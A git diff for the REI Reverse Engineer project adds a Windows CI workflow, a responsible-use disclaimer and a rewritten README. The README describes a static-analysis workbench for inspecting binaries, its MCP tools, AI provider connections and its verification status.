diff --git a/.github/workflows/desktop.yml b/.github/workflows/desktop.yml new file mode 100644 index 0000000..7ab6521 --- /dev/null +++ b/.github/workflows/desktop.yml @@ -0,0 +1,44 @@ +name: REI Reverse Engineer desktop +on: + pull_request: + paths: ['desktop/**', 'src/rei_rea/**', 'scripts/*desktop*', '.github/workflows/desktop.yml'] + workflow_dispatch: +permissions: + contents: read +jobs: + windows-desktop: + runs-on: windows-latest + timeout-minutes: 90 + env: + CARGO_PROFILE_DEV_DEBUG: '0' + CARGO_PROFILE_TEST_DEBUG: '0' + PYTHONPATH: ${{ github.workspace }}/src + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.13' + - uses: actions/cache@v4 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + desktop/target + key: rei-windows-rust-1.97-${{ hashFiles('desktop/Cargo.lock') }} + - name: Install pinned compiler + run: rustup toolchain install 1.97.0 --profile minimal + - name: Build native app and bridge diagnostic + working-directory: desktop + run: cargo +1.97.0 build --locked -p craft-anything --bins + - name: Desktop and UI tests + working-directory: desktop + run: cargo +1.97.0 test --locked -p craft-anything -p craft-anything-ui-egui + - name: Real Python MCP bridge + shell: pwsh + run: | + python -m rei_rea.desktop_bridge --workspace . --config .rei-desktop + $env:REI_CONFIG_DIR = Join-Path $PWD '.rei-desktop' + $fixture = Join-Path $env:RUNNER_TEMP 'rei-test.wasm' + [IO.File]::WriteAllBytes($fixture, [byte[]](0,97,115,109,1,0,0,0)) + & ./desktop/target/debug/rei-bridge-check.exe $fixture + if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE } diff --git a/.gitignore b/.gitignore index a57b60c..7a84e53 100644 --- a/.gitignore +++ b/.gitignore @@ -11,3 +11,9 @@ dist/ *.log *.sqlite3 .DS_Store + +.tools/ +desktop/target/ + +.rei-desktop/ +Projects/ diff --git a/.gitmodules b/.gitmodules index a2b6371..b640b49 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,6 @@ [submodule "upstream/rea"] path = upstream/rea url = https://github.com/morluto/rea.git +[submodule "upstream/craft-anything"] + path = upstream/craft-anything + url = https://github.com/storytold/craft-anything.git diff --git a/DISCLAIMER.md b/DISCLAIMER.md new file mode 100644 index 0000000..d8dee66 --- /dev/null +++ b/DISCLAIMER.md @@ -0,0 +1,39 @@ +# Responsible Use & Legal Disclaimer + +REI Reverse Engineer is an experimental research and engineering tool maintained under the Rootcastle Engineering & Innovation identity. This notice supplements the applicable open-source licenses; it does not replace them or remove permissions they grant. + +## Authorized use and operator responsibility + +Use this project only for lawful, authorized activities. You are solely responsible for establishing and documenting permission to inspect software, firmware, devices, accounts, communications and other targets. Possessing a file or being able to reach a service does not by itself establish authorization. + +You are responsible for complying with applicable laws, contracts, intellectual property rights, privacy and data protection obligations, export restrictions and third-party license and service terms. The project grants no right to bypass access controls, circumvent licensing, obtain unauthorized access or distribute material belonging to others. + +Read-only inspection is the default. Dynamic analysis, live probes, instrumentation, execution of untrusted code and firmware changes require separate, explicit scope and suitable isolation. You are responsible for backups, containment and the consequences of operations you authorize. + +## No warranties + +To the maximum extent permitted by applicable law, this software, documentation, integrations and outputs are provided **“AS IS” and “AS AVAILABLE,” without warranties of any kind, express or implied**, including merchantability, fitness for a particular purpose, noninfringement, accuracy, security or availability. There is no promise that the project is error-free, suitable for production or compatible with every target, provider or environment. + +## Limitation of liability + +To the maximum extent permitted by applicable law, **Rootcastle Engineering & Innovation, the authors, copyright holders, maintainers and contributors disclaim liability for claims, damages, losses or other liability arising from or relating to the software or its use, misuse or inability to be used**, whether in contract, tort or otherwise. + +This includes unauthorized or unlawful activity; inaccurate analysis or AI-generated output; data loss or disclosure; security incidents; interruption of services; damage to software, hardware or devices; loss of profits; and subscription, API, compute or other third-party costs. + +**Nothing in this notice excludes or limits liability, obligations or rights that applicable law does not permit to be excluded or limited.** Component licenses retain their own warranty and liability provisions. + +## Analysis, evidence and AI outputs + +Findings are technical observations or inferences, not legal, forensic or security certifications. Hashes and integrity checks do not establish ownership, authorization, complete coverage or the truth of a conclusion. Independently verify consequential results. Reconstructed or decompiled material is not necessarily the original source code. + +## External services, data and charges + +Third-party tools, models and account connections are governed by their own licenses, policies, quotas and availability. You choose and authorize their use and bear associated charges. Account-based access does not imply free or unlimited usage. + +Prompts, context and tool results submitted to external providers may leave your device. Review and redact sensitive data, obtain necessary consent and assess the provider's data handling before use. Do not commit credentials or proprietary artifacts to the public repository. + +## Attribution and reporting + +Third-party names identify interoperability and provenance; no endorsement or affiliation is implied. Preserve required licenses and notices when redistributing. Report vulnerabilities through [SECURITY.md](SECURITY.md), without publishing credentials, customer data or proprietary samples. + +Project: [REI Reverse Engineer](https://github.com/rootcastleco/Rei-Reverse-engineer) · Maintainer identity: [Rootcastle Engineering & Innovation](https://rootcastle.com). diff --git a/README.md b/README.md index faa8920..5127433 100644 --- a/README.md +++ b/README.md @@ -1,190 +1,153 @@ -# REI REA +

+ Rootcastle Engineering & Innovation — REI Reverse Engineer. Inspect the artifact. Trace the evidence. +

-> **Upstream updates:** The original [morluto/rea](https://github.com/morluto/rea) revision is tracked separately in [upstream/rea](upstream/rea) and receives scheduled review PRs. [How synchronization works](docs/UPSTREAM-SYNC.md). +

REI Reverse Engineer

-### Evidence-first reverse engineering. One workbench. Verifiable findings. +

Inspect the artifact. Trace the evidence. Understand the system.

+

A native research workbench connecting software analysis, AI assistance and reproducible evidence.
Built by Rootcastle Engineering & Innovation.

-[![CI](https://github.com/rootcastleco/Rei-Reverse-engineer/actions/workflows/ci.yml/badge.svg)](https://github.com/rootcastleco/Rei-Reverse-engineer/actions/workflows/ci.yml) -[![Python 3.10+](https://img.shields.io/badge/Python-3.10%2B-0E3D8A?logo=python&logoColor=white)](https://www.python.org/) -[![MCP server](https://img.shields.io/badge/MCP-14%20tools-228B55)](#connect-an-ai-coding-agent) -[![License: MIT](https://img.shields.io/badge/license-MIT-0E3D8A)](LICENSE) -[![Status: Alpha](https://img.shields.io/badge/status-v0.2.0%20alpha-555555)](CHANGELOG.md) +

+ Python quality gates + Native desktop checks + 0.3 desktop preview + Core license: MIT +

-**REI REA (Rootcastle Reverse Engineering Workbench)** gives developers and security researchers a consistent starting point for inspecting software artifacts, finding suitable analysis tools, and recording what the evidence actually supports. +

+ Desktop setup · AI connections · CLI & MCP · Verification · Legal notice +

-It brings together a **124-entry reverse-engineering tool catalog**, **read-only artifact triage**, **SHA-256 evidence cases**, a **JSON command-line interface**, a local **Model Context Protocol (MCP) server**, a **loopback dashboard**, and **12 specialist AI-agent skills**. +--- -The objective is not to produce confident-looking pseudocode. It is to make each conclusion **traceable, testable, and reproducible**. +## From an unknown artifact to a defensible finding -> [!IMPORTANT] -> **Alpha scope, stated precisely.** REI REA is an original Rootcastle implementation, not an official fork or feature-parity replacement of [morluto/rea](https://github.com/morluto/rea). A catalog entry does **not** mean a tool is installed, integrated, or validated. Eleven fixed static CLI adapters are implemented. External decompilers, debuggers, mobile instrumentation systems, and the upstream REA server are **not included**. See [Capabilities and limitations](#capabilities-and-limitations). +Reverse engineering starts with questions: What is this file? What changed? Which tool can answer the next question? What evidence supports the conclusion? -**[Quick start](#quick-start)** · **[Capabilities](#capabilities-and-limitations)** · **[Architecture](#architecture)** · **[MCP integration](#connect-an-ai-coding-agent)** · **[Agent skills](#twelve-specialist-agent-skills)** · **[Security](#safety-and-trust-boundaries)** · **[Roadmap](docs/ROADMAP.md)** +REI Reverse Engineer brings those steps into one native workspace. The Rust application connects the Rootcastle Python workbench and the separately versioned REA server through local MCP. AI providers help navigate the work; artifact identity, coverage limits and source references keep the investigation grounded. ---- +| Identify | Investigate | Preserve | Connect | +| :--- | :--- | :--- | :--- | +| Static signatures, full-file SHA-256 and bounded metadata. | PE, ELF and WASM structures, version differences and format-aware plans. | Local case records, confidence labels and integrity-checked exports. | Native Rust tools, Python MCP, upstream REA and configurable AI backends. | -## What makes REI REA different? +**124 catalog entries · 14 Python MCP tools · 234 upstream MCP tools · 12 specialist skills** -A reverse-engineering session usually involves multiple disconnected tools. Findings end up scattered across terminals, screenshots, notes, and decompiler projects. REI REA provides a small, explicit control plane around that work. +These numbers describe different things. Catalog entries are metadata; discovered routes are callable interfaces. Neither establishes that every tool is installed, authorized or verified on your machine. -| Problem | REI REA approach | What is available today | -| --- | --- | --- | -| Which tool should I use? | Query one registry by artifact type and capability. | 124 catalog entries with tags, homepages, and PATH checks. | -| What exactly did I inspect? | Identify the target before discussing behavior. | SHA-256 hashes, bounded format inspection, and archive metadata. | -| Can I reproduce this finding? | Keep observations linked to one artifact identity. | Local hash-linked case events and integrity verification. | -| Can an AI agent use the same evidence? | Expose structured operations over a single interface. | JSON CLI plus fourteen local stdio MCP tools. | -| Can I add more analysis engines? | Use isolated provider contracts instead of rewriting the core. | Eleven opt-in static adapters; advanced providers are planned. | -| Is a model's explanation proof? | Distinguish what was seen from what was inferred. | `observed`, `inferred`, and `unknown` evidence states. | +## Inside the native application -**Three distinct facts must never be conflated:** +![REI Reverse Engineer running on Windows](docs/images/rei-reverse-engineer-home.jpg) -1. **Cataloged:** a tool appears in the registry. -2. **Detected:** its executable name exists on the local `PATH`. -3. **Supported:** REI REA has a reviewed adapter for that operation. +*Actual, unaltered Windows application capture. The image shows the project request screen, not a completed AI build or an analysis result.* -Even a supported operation is **not end-to-end verified** until its output is checked against the specific artifact and environment. +The desktop provides a shared interface for projects, AI connections and tool results. The launcher registers the Python and upstream MCP servers with the native engine. Their results reach the same desktop evidence interface, while each server retains its own storage. -## Quick start +The application is a licensed source fork of [Craft Anything](https://github.com/storytold/craft-anything), adapted with Rootcastle identity, isolated settings and the REI integration. The [original REA project](https://github.com/morluto/rea) remains pinned separately. See [source provenance](#open-source-provenance). -**Requirements:** Python 3.10 or later, Git, and a local file that you own or are permitted to inspect. The core has no third-party Python runtime dependencies. +> [!IMPORTANT] +> **Development preview.** The Windows application has been built and opened locally. Real static-analysis calls have passed through both MCP bridges. This is an unsigned source-build preview; all 248 external routes, third-party analyzers and AI-assisted workflows have not been individually validated. -```bash +## Start the desktop + +**Windows x64 prerequisites:** Git, Python 3.10+, Rust 1.97.0, Visual Studio C++ build tools and the Windows SDK. Python 3.11+ is recommended for merging newly available upstream settings into an existing profile. + +```powershell git clone https://github.com/rootcastleco/Rei-Reverse-engineer.git cd Rei-Reverse-engineer python -m pip install -e . +git submodule update --init -rei-rea --version -rei-rea tools doctor -rei-rea tools list --tag android +./scripts/setup_upstream.ps1 +./scripts/build_desktop.ps1 +./scripts/run_desktop.ps1 -Python (Get-Command python).Source ``` -Inspect one artifact **without executing it**: - -```bash -rei-rea inspect /path/to/your/sample.bin -rei-rea signals /path/to/your/sample.bin -rei-rea plan /path/to/your/sample.bin -rei-rea deep /path/to/your/sample.exe -rei-rea investigate /path/to/your/sample.wasm -``` - -Compare two versions: - -```bash -rei-rea compare /path/to/old.bin /path/to/new.bin -rei-rea diff /path/to/old.wasm /path/to/new.wasm -``` +Setup downloads a pinned project-local Node runtime, locked upstream dependencies and the version-matched REA native addon. The build script compiles the desktop from source. The launcher prepares local MCP settings and refreshes tool discovery before opening the application. -These operations return structured JSON. Inspection uses signatures and bounded metadata reads; it does not decompile, unpack, or run the target. `signals --include-strings` is optional because extracted strings can contain confidential values. +After the first build, double-click **`REI Reverse Engineer.cmd`** to start the combined workbench. Use the launcher to supply the Python runtime and MCP profile. Existing user settings are retained; `REI_CONFIG_DIR` selects an alternative profile. -### Record a reproducible investigation +[Desktop guide](desktop/README.md) · [Rootcastle fork notes](desktop/ROOTCASTLE.md) · [Integration evidence](docs/DESKTOP-VERIFICATION.md) -```bash -rei-rea case init /path/to/your/sample.bin --workspace .rei-cases -``` +## Connect your AI -Use the case directory returned by the command: +Open **Settings → AI** and choose the connection that matches your account and environment. -```bash -rei-rea case note .rei-cases/CASE-ID \ - --type analyst-note \ - --text 'Header at offset 0x20 requires verification' \ - --source 'artifact:0x20' \ - --confidence inferred +| Connection | How it works | What you need | +| :--- | :--- | :--- | +| **Experiential Labs** | OpenAI-compatible gateway, streaming responses and live model listing. | Your provider API key in the masked field or `EXPLABS_API_KEY`. | +| **ChatGPT account / Codex** | The installed official Codex CLI opens its browser sign-in flow. | Codex CLI and an eligible ChatGPT account. | +| **Google account / Antigravity** | The installed official Antigravity CLI handles provider sign-in. | Antigravity CLI and the required account access. | +| **Codex Cloud** | Opens the official cloud workspace in your browser. | A supported account; local REI operations use the CLI connection. | +| **Other backends** | Configure supported agent, hosted or compatible server connections. | The selected backend's runtime, credentials and terms. | -rei-rea case verify .rei-cases/CASE-ID --recheck-target -rei-rea case report .rei-cases/CASE-ID --output finding.md -rei-rea case index .rei-cases -rei-rea case search .rei-cases --kind pe -rei-rea case bundle .rei-cases/CASE-ID case-evidence.zip -rei-rea case bundle-verify case-evidence.zip -``` +Account sign-in is handled by the official CLI. REI does not scrape browser cookies, read provider credential caches or retain login output. Missing CLI installations show setup links. Antigravity's dedicated login command is version-dependent; terminal onboarding and Detect/Add are the documented fallback. -Every case has a target identity and a hash-linked observation sequence. The verifier detects changes to that local record. **This is tamper-evident bookkeeping, not a signed chain of custody or a trusted timestamp service.** Keep source artifacts and generated reports in an access-controlled workspace. +**No API key does not mean free or unlimited access.** Provider plans, quotas and charges still apply. Codex Cloud is a separate web workspace; opening it does not turn its browser session into a local chat API. -## New in v0.2.0 — real structural analysis +When you select a hosted model or cloud agent, submitted prompts, tool results and context may leave your machine. Review sensitive material and the provider's policies before sharing. See [AI setup, official references and verification limits](docs/AI-CONNECTIONS.md). -The dependency-free core can now parse **PE headers and imported APIs**, **ELF program/section tables and shared-library dependencies**, and **WebAssembly version 1 imports/exports** using bounded local reads. `rei-rea diff` compares parsed structures across exact artifact hashes; `rei-rea investigate` combines identification, bounded analysis, signal scanning and an evidence-aware plan, cross-checking the hash before and after each step. +## What you can do today -A new **SQLite casebook** explicitly indexes local case metadata for search by name, hash or format. Case exports include the manifest, hash-chain events, report and checksum manifest—**never original binaries**. See [v0.2 upgrade contract](docs/UPGRADE-V0.2.md). +| Surface | Available capability | Boundary | +| :--- | :--- | :--- | +| **Native desktop** | Projects, AI configuration and native/MCP tool dispatch. | Windows source-build preview; unsigned. | +| **Python analysis** | Identification; bounded PE/ELF/WASM parsing; signals and structural comparison. | Partial format coverage; no decompilation or target execution. | +| **Evidence cases** | SHA-256 identity, hash-linked notes, SQLite metadata search and portable bundles. | Integrity checks do not establish semantic truth or a signed chain of custody. | +| **Tool catalog** | 124 searchable records with capabilities and PATH discovery. | A record does not install or integrate its tool. | +| **External adapters** | Eleven fixed static CLI adapters and twelve provider profiles. | Explicit opt-in; only reviewed operations execute. Many profiles are discovery-only. | +| **Python MCP** | Fourteen structured local operations. | Case creation writes metadata; other tools are read-only. No arbitrary shell runner. | +| **Upstream REA bridge** | 234 discovered tools at the pinned revision. | Static entropy dispatch verified; other operations retain upstream requirements and consent boundaries. | +| **Agent skills** | Twelve specialist investigation guides. | Guidance is distinct from an installed analysis engine. | -> This is **structural inspection, not decompilation or code execution**. PE/ELF/WASM parsers are intentionally partial implementations of large specifications. A complete parser status means the bounded parser finished without error, not that every security property has been verified. +Keep four states separate: **cataloged → PATH-detected → adapter-supported → end-to-end-verified**. A later state requires its own evidence. -## Capabilities and limitations +Read the [provider contracts](docs/PROVIDERS.md), [core specification](docs/SPEC.md) and [desktop specification](docs/DESKTOP-SPEC.md) for exact scope. -| Area | Status in v0.2.0 | Implementation boundary | -| --- | --- | --- | -| Tool discovery | **Implemented** | 124 metadata records; filtered searches and PATH availability. | -| Artifact identification | **Implemented** | Static header checks for PE, ELF, Mach-O, WASM, DEX, SQLite, PCAP, and archive indicators. | -| PE/ELF/WASM structure | **Implemented** | Bounded sections, imports/exports, ELF needed libraries, WASM section inventory; no full semantic validation. | -| Local casebook | **Implemented** | Explicit SQLite metadata index/search, portable hash-checked evidence bundles. | -| Single-call investigation | **Implemented** | Static pipeline with SHA cross-check; file size limited to 64 MiB. | -| Bounded signals | **Implemented** | Entropy/signature probes and optional strings; scanning is capped. | -| Version comparison | **Implemented** | File hashes and bounded byte differences. | -| Local evidence cases | **Implemented** | SHA-256 identity, append-only hash-linked event records, verification, and Markdown reports. | -| CLI and agent transport | **Implemented** | JSON CLI and fourteen stdio MCP tools. | -| Dashboard | **Implemented** | Loopback-only catalog view; no target execution. | -| External static adapters | **Opt-in** | Eleven fixed commands; only executable tools present on the machine can run. | -| Ghidra / IDA / Rizin session control | **Planned** | Names may be cataloged; no live session provider is included. | -| JADX / Frida / emulator automation | **Planned** | Skills document procedures, not active runtime integration. | -| Upstream REA MCP compatibility | **Planned** | No API-parity claim or bundled upstream server. | -| Firmware flashing or live network testing | **Not supported** | Excluded from this alpha gateway. | +## Use the Python workbench -The fixed external adapters are `file`, `readelf`, `objdump`, `llvm-objdump`, `llvm-readobj`, `nm`, `exiftool`, `otool`, `aapt2` (catalog ID `android-aapt2`), `rabin2` and `rz-bin`. Each requires explicit opt-in and runs without a shell or user-supplied arbitrary flags. +The dependency-free Python core also works independently of the desktop on Windows, Linux and macOS with Python 3.10+. ```bash -# Only if readelf is separately installed and the file is authorized: -rei-rea run readelf /path/to/your/example.elf --allow-external --timeout 12 -``` - -A failed or missing external parser does not disable the built-in inspection path. +python -m pip install -e . +rei-rea --version +rei-rea tools doctor +rei-rea tools list --tag android -## Architecture +# Read-only inspection of an artifact you are authorized to analyze. +rei-rea inspect /path/to/sample.bin +rei-rea deep /path/to/sample.exe +rei-rea investigate /path/to/sample.wasm -```mermaid -flowchart TD - U["Analyst / coding agent"] --> CLI["JSON CLI"] - U --> MCP["Local stdio MCP · 14 tools"] - U --> UI["Loopback dashboard"] - CLI --> Core["REI REA control plane"] - MCP --> Core - UI --> Core - Core --> Registry["124-tool capability catalog"] - Core --> Inspector["Static artifact inspector"] - Core --> Planner["Format-aware investigation planner"] - Core --> Evidence["SHA-256 evidence cases"] - Core --> Adapter["Eleven fixed static adapters · explicit opt-in"] - Adapter -. "PATH-installed executable" .-> Local["External analysis tool"] - Future["Future provider API: REA / Ghidra / JADX / Frida"] -. "not implemented" .-> Core +# Compare exact artifacts and their parsed structures. +rei-rea compare /path/to/old.bin /path/to/new.bin +rei-rea diff /path/to/old.wasm /path/to/new.wasm ``` -The code is deliberately separated into focused components: - -```text -src/rei_rea/ -├── cli.py # Command-line entry point and JSON output -├── mcp.py # Model Context Protocol, stdio JSON-RPC -├── registry.py # Canonical tool lookup and approved static adapters -├── inspector.py # File identity, signatures, bounded archive inspection -├── signals.py # Bounded signal analysis and binary comparisons -├── planner.py # Artifact-aware routes into specialist skills -├── evidence.py # Hash-linked local cases and reports -├── web.py # Loopback-only HTTP server -├── data/tools.json # Generated tool catalog -└── webui/ # Local dashboard -``` +Commands return structured JSON. Built-in inspection does not execute or unpack the target. `signals --include-strings` is optional because extracted strings can expose confidential data. The combined investigation pipeline accepts files up to 64 MiB. -See [architecture and contracts](docs/ARCHITECTURE.md), [threat model](docs/THREAT_MODEL.md), and [system requirements](docs/SPEC.md). Integration points are designed to preserve the stable core when future backends are introduced. +### Keep a reproducible case -## Connect an AI coding agent +```bash +rei-rea case init /path/to/sample.bin --workspace .rei-cases -REI REA provides a **local stdio MCP server**. Start it directly: +# Replace CASE-ID with the directory returned above. +rei-rea case note .rei-cases/CASE-ID --type analyst-note \ + --text 'Header at offset 0x20 requires verification' \ + --source 'artifact:0x20' --confidence inferred -```bash -rei-rea mcp +rei-rea case verify .rei-cases/CASE-ID --recheck-target +rei-rea case report .rei-cases/CASE-ID --output finding.md +rei-rea case index .rei-cases +rei-rea case search .rei-cases --kind pe +rei-rea case bundle .rei-cases/CASE-ID case-evidence.zip +rei-rea case bundle-verify case-evidence.zip ``` -For MCP clients that use the `mcpServers` JSON format, a typical entry is: +Findings distinguish `observed`, `inferred` and `unknown`. Case bundles contain metadata, notes and integrity manifests, **never the original binary**. Review notes and paths before sharing. A valid hash chain detects changes to a record; it does not prove that its conclusions are correct. + +### Connect an MCP client + +Start the server with `rei-rea mcp`, or configure a client that accepts `mcpServers`: ```json { @@ -197,133 +160,108 @@ For MCP clients that use the `mcpServers` JSON format, a typical entry is: } ``` -The `rei-rea` executable must be available in the environment used by your MCP client. Some clients require a full executable path and a restart after configuration. +Use an absolute executable path if your client cannot resolve `rei-rea`. Client permissions and OS access controls still apply. The Python server exposes fourteen tools; the desktop upstream bridge is configured separately by the launcher. -**Fourteen exposed MCP tools:** +
+View the Python MCP tool reference | Tool | Purpose | -| --- | --- | -| `rei_rea_providers` | Discover provider profiles without execution. | +| :--- | :--- | +| `rei_rea_providers` | Discover provider profiles. | | `rei_rea_tools` | Filter catalog entries. | -| `rei_rea_doctor` | Inspect local PATH availability. | +| `rei_rea_doctor` | Inspect PATH availability. | | `rei_rea_inspect` | Identify and hash an artifact. | -| `rei_rea_plan` | Produce an evidence-based investigation plan. | +| `rei_rea_plan` | Plan an investigation. | | `rei_rea_signals` | Read bounded file signals. | -| `rei_rea_compare` | Compare two local files. | -| `rei_rea_case_create` | Start an evidence case. | -| `rei_rea_case_verify` | Validate a case record. | -| `rei_rea_investigate` | Read-only cross-hash-checked static analysis pipeline. | +| `rei_rea_compare` | Compare local files. | +| `rei_rea_case_create` | Create a local evidence case. | +| `rei_rea_case_verify` | Verify a case record. | +| `rei_rea_investigate` | Run the static pipeline with hash cross-checks. | | `rei_rea_deep` | Parse bounded PE/ELF/WASM structures. | -| `rei_rea_diff` | Compare binary structures across versions. | -| `rei_rea_case_search` | Search an existing local casebook index. | -| `rei_rea_bundle_verify` | Check checksums of an exported evidence bundle. | +| `rei_rea_diff` | Compare parsed structures. | +| `rei_rea_case_search` | Search an existing casebook index. | +| `rei_rea_bundle_verify` | Verify an exported evidence bundle. | -MCP registration gives access to **these fourteen operations only**. It does not install third-party engines, grant new filesystem permissions, or create a remote analysis service. Client-specific permission settings still apply. +
-## Twelve specialist agent skills +The catalog dashboard runs with `rei-rea serve --port 8765` at **http://127.0.0.1:8765**. It is a loopback catalog viewer, with no target uploads or executable launch interface. -Each skill is a separate directory with `SKILL.md`, agent metadata, and reference material. Skills route the investigation. They are **not executable analysis engines**. +## How the parts work together -| Skill | Investigation domain | -| --- | --- | -| [`rei-rea-orchestrator`](skills/rei-rea-orchestrator/) | Intake, evidence routing, tool selection, and verification. | -| [`rei-binary-intelligence`](skills/rei-binary-intelligence/) | Built-in bounded PE/ELF/WASM structural and version-diff analysis. | -| [`rei-casebook-forensics`](skills/rei-casebook-forensics/) | SQLite evidence casebook and metadata-only bundle handoff. | -| [`rei-native-binaries`](skills/rei-native-binaries/) | PE, ELF, Mach-O, symbols, imports, and ABI. | -| [`rei-electron-and-js`](skills/rei-electron-and-js/) | Electron, ASAR, Node.js, preload scripts, and IPC. | -| [`rei-android-apks`](skills/rei-android-apks/) | Android APK/AAB, DEX, manifest, and JNI. | -| [`rei-firmware-and-iot`](skills/rei-firmware-and-iot/) | Embedded firmware, MCU, UEFI, GPS, and IoT. | -| [`rei-mobile-runtime`](skills/rei-mobile-runtime/) | Authorized mobile observation and instrumentation planning. | -| [`rei-evidence-ledger`](skills/rei-evidence-ledger/) | Artifact provenance, confidence, and audit. | -| [`rei-reconstruction-parity`](skills/rei-reconstruction-parity/) | Behavioral specifications and golden-test comparisons. | -| [`rei-web-and-protocols`](skills/rei-web-and-protocols/) | HAR, PCAP, APIs, telemetry frames, and protocol reconstruction. | -| [`rei-wasm-and-managed`](skills/rei-wasm-and-managed/) | WebAssembly, JVM bytecode, and .NET assemblies. | +```mermaid +flowchart LR + Analyst["Analyst"] --> Desktop["REI native desktop · Rust"] + Desktop <--> AI["Configured AI backend / official agent CLI"] + Desktop --> Native["Native engine tools"] + Desktop --> Bridge["Local MCP routing"] + Bridge --> Python["Rootcastle Python · 14 tools"] + Bridge --> Upstream["Pinned upstream REA · 234 tools"] + CLI["JSON CLI / external MCP client"] --> Python + Python --> Registry["124-entry tool catalog"] + Python --> Cases["Python case records"] + Upstream --> Store["Upstream evidence store"] +``` -Read [skills installation and packaging](docs/SKILLS.md). Install the Python workbench separately; importing a skill does not register MCP or provide a local tool binary. +Dispatch and evidence presentation are shared in the desktop. Storage remains owned by each engine. External tools and artifact-reading operations retain the desktop's consent and mode controls. -## Local dashboard +## Specialist investigation skills -```bash -rei-rea serve --port 8765 -``` +Twelve packages cover orchestration, bounded binary analysis, native binaries, Electron/JavaScript, Android, firmware/IoT, authorized mobile runtime work, evidence ledgers, casebook forensics, reconstruction parity, web/protocols, and WASM/managed code. -Visit **http://127.0.0.1:8765**. The dashboard displays the tool registry and local availability indicators. It does not accept uploads, inspect arbitrary remote hosts, or run third-party executables. It binds to loopback; do not expose it through a public reverse proxy without a separate security review. +Browse [the skill packages](skills/) and [installation guide](docs/SKILLS.md). Installing a skill supplies instructions, not a binary analyzer, MCP registration or permission to test a third-party system. -## Safety and trust boundaries +## What is verified -REI REA is intended for **owned artifacts, authorized security research, interoperability, software preservation, and controlled laboratory analysis**. +Local evidence was recorded on **Windows 11 x64 · Rust 1.97.0 · Python 3.14.7 · Node 24.22.1**: -- **Read-only first.** `inspect`, `signals`, `plan`, `compare`, and registry lookup do not execute target code. -- **External tools are never launched implicitly.** Fixed adapters require `--allow-external`. Use disposable, low-privilege environments for untrusted files. -- **Evidence is not certainty.** File names, strings, and reconstructed pseudocode are not proof of actual runtime behavior. -- **Artifact data remains local by design.** Case records hold metadata and analyst notes; review sensitive strings before sharing reports. -- **No general remote scanner, shell runner, firmware flasher, or license bypass mechanism** is included in this alpha. +- Native executable built; its real window was opened and inspected. +- MCP discovery registered **248 external routes**. Python artifact identification and upstream byte-entropy analysis both returned through the desktop engine for the same synthetic WASM fixture and SHA-256. +- The AI/UI/CLI Rust suite passed **352 tests**. The Python suite ran **65 tests: 64 passed, one optional-tool skip**. +- All **12 root skills** validated. Formatting, Clippy with warnings denied, layer checks, lock checks and the source secret scan passed. +- Experiential streaming and model listing passed loopback integration tests. **Live paid API calls and user OAuth sign-in were not performed.** -Read [SECURITY.md](SECURITY.md) for reporting and [the threat model](docs/THREAT_MODEL.md) for the relevant trust boundaries. +These checks apply to the recorded environments and operations. They do not verify all upstream tools, decompiler accuracy, device behavior, AI-generated rebuild quality or production readiness. The pinned upstream npm installation reported **11 moderate advisories**; release hardening remains open. Remote results are available in [GitHub Actions](https://github.com/rootcastleco/Rei-Reverse-engineer/actions). -## Development and verification +[Desktop verification evidence](docs/DESKTOP-VERIFICATION.md) · [AI verification boundaries](docs/AI-CONNECTIONS.md) · [Core stabilization](docs/STABILIZATION.md) + +## Develop and contribute ```bash python -m pip install -e . -python -m unittest discover -s tests -v -python -m rei_rea --version +PYTHONPATH=src python -m unittest discover -s tests -v +python scripts/generate_catalog.py ``` -Verification is recorded per commit and environment in [the stabilization report](docs/STABILIZATION.md). GitHub Actions tests Python 3.10 and 3.13 on Linux, Windows and macOS. A local test pass does not establish remote CI or external-provider compatibility. - -Hardware behavior, mobile instrumentation, third-party engine accuracy, native decompilation parity, cloud deployment, and production performance are **not yet verified**. +On PowerShell, set `$env:PYTHONPATH = 'src'` before the unittest command. Python CI covers Python 3.10 and 3.13 on Linux, Windows and macOS. The desktop workflow builds and tests Windows separately. -## Roadmap +Start with [AGENTS.md](AGENTS.md), [the architecture](docs/ARCHITECTURE.md), [the threat model](docs/THREAT_MODEL.md) and existing tests. Add capabilities through reviewed adapters with contracts and regression coverage. Keep customer binaries, secrets and proprietary samples out of this public repository. -The next technical milestones are: +Next priorities include provider-specific verification, parser fuzzing, dependency remediation and signed desktop releases. See [the roadmap](docs/ROADMAP.md), [learning path](docs/LEARNING_PATH.md) and [upstream synchronization policy](docs/UPSTREAM-SYNC.md). -1. Formalize a versioned provider interface with capability and authorization checks. -2. Integrate upstream REA and selected native tools without changing the evidence contract. -3. Add reproducible fixtures for ELF/PE, Electron IPC, APKs, firmware images, and protocol captures. -4. Add indexed case search, provenance export, and more rigorous differential verification. -5. Run cross-platform CI, dependency reviews, and release hardening before a stable version. +## Responsible use and legal disclaimer -Track the scope and acceptance gates in [docs/ROADMAP.md](docs/ROADMAP.md). For a practical self-study path, read [the reverse-engineering learning roadmap](docs/LEARNING_PATH.md). +> [!WARNING] +> **Authorized use only. Use at your own risk.** Analyze only software, devices, recordings and systems you own or have explicit permission to inspect. You are responsible for your actions, legal compliance, permissions, data handling and third-party service charges. -## Frequently asked questions +**To the maximum extent permitted by applicable law, Rootcastle Engineering & Innovation, the authors, maintainers and contributors provide this software “AS IS” and “AS AVAILABLE,” without warranties, and disclaim liability for claims, losses or damages arising from its use, misuse or inability to use it.** This includes unauthorized activity, inaccurate analysis or AI output, data loss, security incidents, service interruption, device damage and third-party costs. -
-Does REI REA contain 124 working analysis integrations? - -No. It has 124 **catalog records**. Eleven fixed static tool adapters are implemented, and each adapter needs its executable installed locally. The other records are discovery-only. -
+No tool output or reconstruction guarantees correctness, safety, ownership or legal permission. Reconstructed or decompiled output must not be represented as original source. Dynamic analysis, live probing and firmware modification require separate scoped authorization and isolation. This project does not grant permission to bypass licenses, access controls or other parties' rights. -
-Is this the same project as morluto/rea? +**These exclusions apply only where legally enforceable. Nothing excludes liability or rights that applicable law does not allow to be excluded.** Read the complete [Responsible Use & Legal Disclaimer](DISCLAIMER.md), [MIT License](LICENSE) and [security reporting policy](SECURITY.md). -No. [morluto/rea](https://github.com/morluto/rea) is an independent project. REI REA is an original Rootcastle control plane with its own implementation and evidence contract. Upstream integration is a future adapter, not a current feature. -
+## Open-source provenance -
